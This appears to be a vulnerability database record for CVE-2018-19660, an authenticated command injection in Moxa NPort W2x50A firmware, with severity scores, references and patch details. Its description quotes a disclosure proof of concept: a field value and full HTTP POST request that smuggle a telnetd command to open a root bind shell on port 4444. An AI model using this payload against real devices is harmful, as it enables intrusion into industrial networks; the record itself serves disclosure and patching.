Sign-up

ID

VAR-201812-0557


CVE

CVE-2018-19660


TITLE

Moxa NPort W2x50A In product firmware OS Command injection vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2018-014046

DESCRIPTION

An exploitable authenticated command-injection vulnerability exists in the web server functionality of Moxa NPort W2x50A products with firmware before 2.2 Build_18082311. A specially crafted HTTP POST request to /goform/webSettingProfileSecurity can result in running OS commands as the root user. Moxa NPort W2x50A Product firmware includes OS A command injection vulnerability exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Exploitation required authentication. This is similar to CVE-2017-12120. Proof-of-concept: 1. Authenticate to Moxa NPort W2x50A device. 2. Go to Main menu a System Management a Maintenance a Ping a Destination 3. Enter ;telnetd -l/bin/sh -p4444&;. in 'Destination' field 4. Exploitation required authentication. Proof-of-concept (sample HTTP request opening bind shell on port 4444): POST /goform/webSettingProfileSecurity?profileID=1 HTTP/1.1 Host: {IP:PORT} User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: SessionID={YOURSESSIONID} Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 309 Authentication=3&EAP_method=1&Username= ;telnetd -l/bin/sh -p4444&; These vulnerabilities were fixed in the firmware version 2.2 Build_18082311. https://www.moxa.com/support/download.aspx?type=support&id=14781 Best regards, Maksim Khazov

Trust: 1.71

sources: NVD: CVE-2018-19660 // JVNDB: JVNDB-2018-014046 // PACKETSTORM: 150535

AFFECTED PRODUCTS

vendor:moxamodel:nport w2x50ascope:ltversion:2.2

Trust: 1.0

vendor:moxamodel:nport w2x50ascope:ltversion:2.2 build_18082311

Trust: 0.8

sources: JVNDB: JVNDB-2018-014046 // NVD: CVE-2018-19660

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2018-19660
value: HIGH

Trust: 1.0

NVD: CVE-2018-19660
value: HIGH

Trust: 0.8

CNNVD: CNNVD-201812-268
value: CRITICAL

Trust: 0.6

nvd@nist.gov: CVE-2018-19660
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

nvd@nist.gov: CVE-2018-19660
baseSeverity: HIGH
baseScore: 8.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.8
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: JVNDB: JVNDB-2018-014046 // CNNVD: CNNVD-201812-268 // NVD: CVE-2018-19660

PROBLEMTYPE DATA

problemtype:CWE-78

Trust: 1.8

sources: JVNDB: JVNDB-2018-014046 // NVD: CVE-2018-19660

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201812-268

TYPE

operating system commend injection

Trust: 0.6

sources: CNNVD: CNNVD-201812-268

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2018-014046

PATCH
title:Firmware for NPort W2x50A Seriesurl:https://www.moxa.com/en/support
Trust: 0.8
title:Moxa NPort W2x50A Fixes for operating system command injection vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=87538
Trust: 0.6
sources:
            
            
            JVNDB: JVNDB-2018-014046 // 
            
            
            
            CNNVD: CNNVD-201812-268

EXTERNAL IDS
db:PACKETSTORMid:150535
Trust: 2.5
db:NVDid:CVE-2018-19660
Trust: 2.5
db:JVNDBid:JVNDB-2018-014046
Trust: 0.8
db:CNNVDid:CNNVD-201812-268
Trust: 0.6
sources:
            
            
            JVNDB: JVNDB-2018-014046 // 
            
            
            
            PACKETSTORM: 150535 // 
            
            
            
            CNNVD: CNNVD-201812-268 // 
            
            
            
            NVD: CVE-2018-19660

REFERENCES
url:http://packetstormsecurity.com/files/150535/moxa-nport-w2x50a-2.1-os-command-injection.html
Trust: 2.4
url:http://seclists.org/fulldisclosure/2018/nov/64
Trust: 1.6
url:https://nvd.nist.gov/vuln/detail/cve-2018-19660
Trust: 0.9
url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-19660
Trust: 0.8
url:https://www.moxa.com/support/download.aspx?type=support&id=14781
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2017-12120
Trust: 0.1
sources:
            
            
            JVNDB: JVNDB-2018-014046 // 
            
            
            
            PACKETSTORM: 150535 // 
            
            
            
            CNNVD: CNNVD-201812-268 // 
            
            
            
            NVD: CVE-2018-19660

CREDITS
Maxim Khazov
Trust: 0.1
sources:
            
            
            PACKETSTORM: 150535

SOURCES
db:JVNDBid:JVNDB-2018-014046
db:PACKETSTORMid:150535
db:CNNVDid:CNNVD-201812-268
db:NVDid:CVE-2018-19660

LAST UPDATE DATE
2024-11-23T22:06:23.143000+00:00

SOURCES UPDATE DATE
db:JVNDBid:JVNDB-2018-014046date:2019-03-11T00:00:00
db:CNNVDid:CNNVD-201812-268date:2019-04-01T00:00:00
db:NVDid:CVE-2018-19660date:2024-11-21T03:58:22.427

SOURCES RELEASE DATE
db:JVNDBid:JVNDB-2018-014046date:2019-03-11T00:00:00
db:PACKETSTORMid:150535date:2018-11-29T23:44:44
db:CNNVDid:CNNVD-201812-268date:2018-12-07T00:00:00
db:NVDid:CVE-2018-19660date:2018-12-06T23:29:01.360